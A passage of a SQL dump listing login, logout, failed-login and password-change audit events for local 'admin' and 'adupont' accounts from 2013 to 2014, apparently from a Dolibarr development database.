Firefox/5.0',NULL,NULL,NULL,NULL),(81,'2013-08-01 19:31:39','USER_LOGIN',1,'2013-08-01 21:31:39',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(82,'2013-08-01 20:01:36','USER_LOGIN',1,'2013-08-01 22:01:36',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(83,'2013-08-01 20:52:54','USER_LOGIN_FAILED',1,'2013-08-01 22:52:54',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(84,'2013-08-01 20:52:58','USER_LOGIN',1,'2013-08-01 22:52:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(85,'2013-08-01 21:17:28','USER_LOGIN_FAILED',1,'2013-08-01 23:17:28',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(86,'2013-08-01 21:17:31','USER_LOGIN',1,'2013-08-01 23:17:31',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(87,'2013-08-04 11:55:17','USER_LOGIN',1,'2013-08-04 13:55:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(88,'2013-08-04 20:19:03','USER_LOGIN_FAILED',1,'2013-08-04 22:19:03',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(89,'2013-08-04 20:19:07','USER_LOGIN',1,'2013-08-04 22:19:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(90,'2013-08-05 17:51:42','USER_LOGIN_FAILED',1,'2013-08-05 19:51:42',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(91,'2013-08-05 17:51:47','USER_LOGIN',1,'2013-08-05 19:51:47',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(92,'2013-08-05 17:56:03','USER_LOGIN',1,'2013-08-05 19:56:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(93,'2013-08-05 17:59:10','USER_LOGIN',1,'2013-08-05 19:59:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30',NULL,NULL,NULL,NULL),(94,'2013-08-05 18:01:58','USER_LOGIN',1,'2013-08-05 20:01:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30',NULL,NULL,NULL,NULL),(95,'2013-08-05 19:59:56','USER_LOGIN',1,'2013-08-05 21:59:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(96,'2013-08-06 18:33:22','USER_LOGIN',1,'2013-08-06 20:33:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(97,'2013-08-07 00:56:59','USER_LOGIN',1,'2013-08-07 02:56:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(98,'2013-08-07 22:49:14','USER_LOGIN',1,'2013-08-08 00:49:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(99,'2013-08-07 23:05:18','USER_LOGOUT',1,'2013-08-08 01:05:18',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(105,'2013-08-08 00:41:09','USER_LOGIN',1,'2013-08-08 02:41:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(106,'2013-08-08 11:58:55','USER_LOGIN',1,'2013-08-08 13:58:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(107,'2013-08-08 14:35:48','USER_LOGIN',1,'2013-08-08 16:35:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(108,'2013-08-08 14:36:31','USER_LOGOUT',1,'2013-08-08 16:36:31',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(109,'2013-08-08 14:38:28','USER_LOGIN',1,'2013-08-08 16:38:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(110,'2013-08-08 14:39:02','USER_LOGOUT',1,'2013-08-08 16:39:02',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(111,'2013-08-08 14:39:10','USER_LOGIN',1,'2013-08-08 16:39:10',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(112,'2013-08-08 14:39:28','USER_LOGOUT',1,'2013-08-08 16:39:28',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(113,'2013-08-08 14:39:37','USER_LOGIN',1,'2013-08-08 16:39:37',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(114,'2013-08-08 14:50:02','USER_LOGOUT',1,'2013-08-08 16:50:02',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(115,'2013-08-08 14:51:45','USER_LOGIN_FAILED',1,'2013-08-08 16:51:45',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(116,'2013-08-08 14:51:52','USER_LOGIN',1,'2013-08-08 16:51:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(117,'2013-08-08 15:09:54','USER_LOGOUT',1,'2013-08-08 17:09:54',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(118,'2013-08-08 15:10:19','USER_LOGIN_FAILED',1,'2013-08-08 17:10:19',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(119,'2013-08-08 15:10:28','USER_LOGIN',1,'2013-08-08 17:10:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(121,'2013-08-08 15:14:58','USER_LOGOUT',1,'2013-08-08 17:14:58',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(122,'2013-08-08 15:15:00','USER_LOGIN_FAILED',1,'2013-08-08 17:15:00',NULL,'Identifiants login ou mot de passe incorrects - login=','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(123,'2013-08-08 15:17:57','USER_LOGIN',1,'2013-08-08 17:17:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(124,'2013-08-08 15:35:56','USER_LOGOUT',1,'2013-08-08 17:35:56',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(125,'2013-08-08 15:36:05','USER_LOGIN',1,'2013-08-08 17:36:05',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(126,'2013-08-08 17:32:42','USER_LOGIN',1,'2013-08-08 19:32:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0',NULL,NULL,NULL,NULL),(127,'2014-12-08 13:49:37','USER_LOGOUT',1,'2014-12-08 14:49:37',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(128,'2014-12-08 13:49:42','USER_LOGIN',1,'2014-12-08 14:49:42',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(129,'2014-12-08 13:50:12','USER_LOGOUT',1,'2014-12-08 14:50:12',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(130,'2014-12-08 13:50:14','USER_LOGIN',1,'2014-12-08 14:50:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(131,'2014-12-08 13:50:17','USER_LOGOUT',1,'2014-12-08 14:50:17',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(132,'2014-12-08 13:52:47','USER_LOGIN',1,'2014-12-08 14:52:47',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(133,'2014-12-08 13:53:08','USER_MODIFY',1,'2014-12-08 14:53:08',1,'User admin modified','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(134,'2014-12-08 14:08:45','USER_LOGOUT',1,'2014-12-08 15:08:45',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(135,'2014-12-08 14:09:09','USER_LOGIN',1,'2014-12-08 15:09:09',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(136,'2014-12-08 14:11:43','USER_LOGOUT',1,'2014-12-08 15:11:43',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(137,'2014-12-08 14:11:45','USER_LOGIN',1,'2014-12-08 15:11:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(138,'2014-12-08 14:22:53','USER_LOGOUT',1,'2014-12-08 15:22:53',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(139,'2014-12-08 14:22:54','USER_LOGIN',1,'2014-12-08 15:22:54',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(140,'2014-12-08 14:23:10','USER_LOGOUT',1,'2014-12-08 15:23:10',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(141,'2014-12-08 14:23:11','USER_LOGIN',1,'2014-12-08 15:23:11',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(142,'2014-12-08 14:23:49','USER_LOGOUT',1,'2014-12-08 15:23:49',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(143,'2014-12-08 14:23:50','USER_LOGIN',1,'2014-12-08 15:23:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(144,'2014-12-08 14:28:08','USER_LOGOUT',1,'2014-12-08 15:28:08',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(145,'2014-12-08 14:35:15','USER_LOGIN',1,'2014-12-08 15:35:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(146,'2014-12-08 14:35:18','USER_LOGOUT',1,'2014-12-08 15:35:18',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(147,'2014-12-08 14:36:07','USER_LOGIN',1,'2014-12-08 15:36:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(148,'2014-12-08 14:36:09','USER_LOGOUT',1,'2014-12-08 15:36:09',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(149,'2014-12-08 14:36:41','USER_LOGIN',1,'2014-12-08 15:36:41',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(150,'2014-12-08 15:59:13','USER_LOGIN',1,'2014-12-08 16:59:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(151,'2014-12-09 11:49:52','USER_LOGIN',1,'2014-12-09 12:49:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(152,'2014-12-09 13:46:31','USER_LOGIN',1,'2014-12-09 14:46:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(153,'2014-12-09 19:03:14','USER_LOGIN',1,'2014-12-09 20:03:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(154,'2014-12-10 00:16:31','USER_LOGIN',1,'2014-12-10 01:16:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(170,'2014-12-11 22:03:31','USER_LOGIN',1,'2014-12-11 23:03:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(171,'2014-12-12 00:32:39','USER_LOGIN',1,'2014-12-12 01:32:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(172,'2014-12-12 10:49:59','USER_LOGIN',1,'2014-12-12 11:49:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(175,'2014-12-12 10:57:40','USER_MODIFY',1,'2014-12-12 11:57:40',1,'Modification utilisateur admin','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(176,'2014-12-12 13:29:15','USER_LOGIN',1,'2014-12-12 14:29:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(177,'2014-12-12 13:30:15','USER_LOGIN',1,'2014-12-12 14:30:15',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(178,'2014-12-12 13:40:08','USER_LOGOUT',1,'2014-12-12 14:40:08',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(179,'2014-12-12 13:40:10','USER_LOGIN',1,'2014-12-12 14:40:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(180,'2014-12-12 13:40:26','USER_MODIFY',1,'2014-12-12 14:40:26',1,'Modification utilisateur admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(181,'2014-12-12 13:40:34','USER_LOGOUT',1,'2014-12-12 14:40:34',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(182,'2014-12-12 13:42:23','USER_LOGIN',1,'2014-12-12 14:42:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(183,'2014-12-12 13:43:02','USER_NEW_PASSWORD',1,'2014-12-12 14:43:02',NULL,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(184,'2014-12-12 13:43:25','USER_LOGOUT',1,'2014-12-12 14:43:25',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(185,'2014-12-12 13:43:27','USER_LOGIN_FAILED',1,'2014-12-12 14:43:27',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(186,'2014-12-12 13:43:30','USER_LOGIN',1,'2014-12-12 14:43:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(187,'2014-12-12 14:52:11','USER_LOGIN',1,'2014-12-12 15:52:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(188,'2014-12-12 17:53:00','USER_LOGIN_FAILED',1,'2014-12-12 18:53:00',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(189,'2014-12-12 17:53:07','USER_LOGIN_FAILED',1,'2014-12-12 18:53:07',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(190,'2014-12-12 17:53:51','USER_NEW_PASSWORD',1,'2014-12-12 18:53:51',NULL,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(191,'2014-12-12 17:54:00','USER_LOGIN',1,'2014-12-12 18:54:00',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(192,'2014-12-12 17:54:10','USER_NEW_PASSWORD',1,'2014-12-12 18:54:10',1,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(193,'2014-12-12 17:54:10','USER_MODIFY',1,'2014-12-12 18:54:10',1,'Modification utilisateur admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(194,'2014-12-12 18:57:09','USER_LOGIN',1,'2014-12-12 19:57:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(195,'2014-12-12 23:04:08','USER_LOGIN',1,'2014-12-13 00:04:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(196,'2014-12-17 20:03:14','USER_LOGIN',1,'2014-12-17 21:03:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(197,'2014-12-17 21:18:45','USER_LOGIN',1,'2014-12-17 22:18:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(198,'2014-12-17 22:30:08','USER_LOGIN',1,'2014-12-17 23:30:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(199,'2014-12-18 23:32:03','USER_LOGIN',1,'2014-12-19 00:32:03',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(200,'2014-12-19 09:38:03','USER_LOGIN',1,'2014-12-19 10:38:03',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(201,'2014-12-19 11:23:35','USER_LOGIN',1,'2014-12-19 12:23:35',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(202,'2014-12-19 12:46:22','USER_LOGIN',1,'2014-12-19 13:46:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(214,'2014-12-19 19:11:31','USER_LOGIN',1,'2014-12-19 20:11:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(215,'2014-12-21 16:36:57','USER_LOGIN',1,'2014-12-21 17:36:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(216,'2014-12-21 16:38:43','USER_NEW_PASSWORD',1,'2014-12-21 17:38:43',1,'Changement mot de passe de adupont','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(217,'2014-12-21 16:38:43','USER_MODIFY',1,'2014-12-21 17:38:43',1,'Modification utilisateur adupont','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(218,'2014-12-21 16:38:51','USER_LOGOUT',1,'2014-12-21 17:38:51',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(219,'2014-12-21 16:38:55','USER_LOGIN',1,'2014-12-21 17:38:55',3,'(UserLogged,adupont)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(220,'2014-12-21 16:48:18','USER_LOGOUT',1,'2014-12-21 17:48:18',3,'(UserLogoff,adupont)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(221,'2014-12-21 16:48:20','USER_LOGIN',1,'2014-12-21 17:48:20',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(222,'2014-12-26 18:28:18','USER_LOGIN',1,'2014-12-26 19:28:18',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 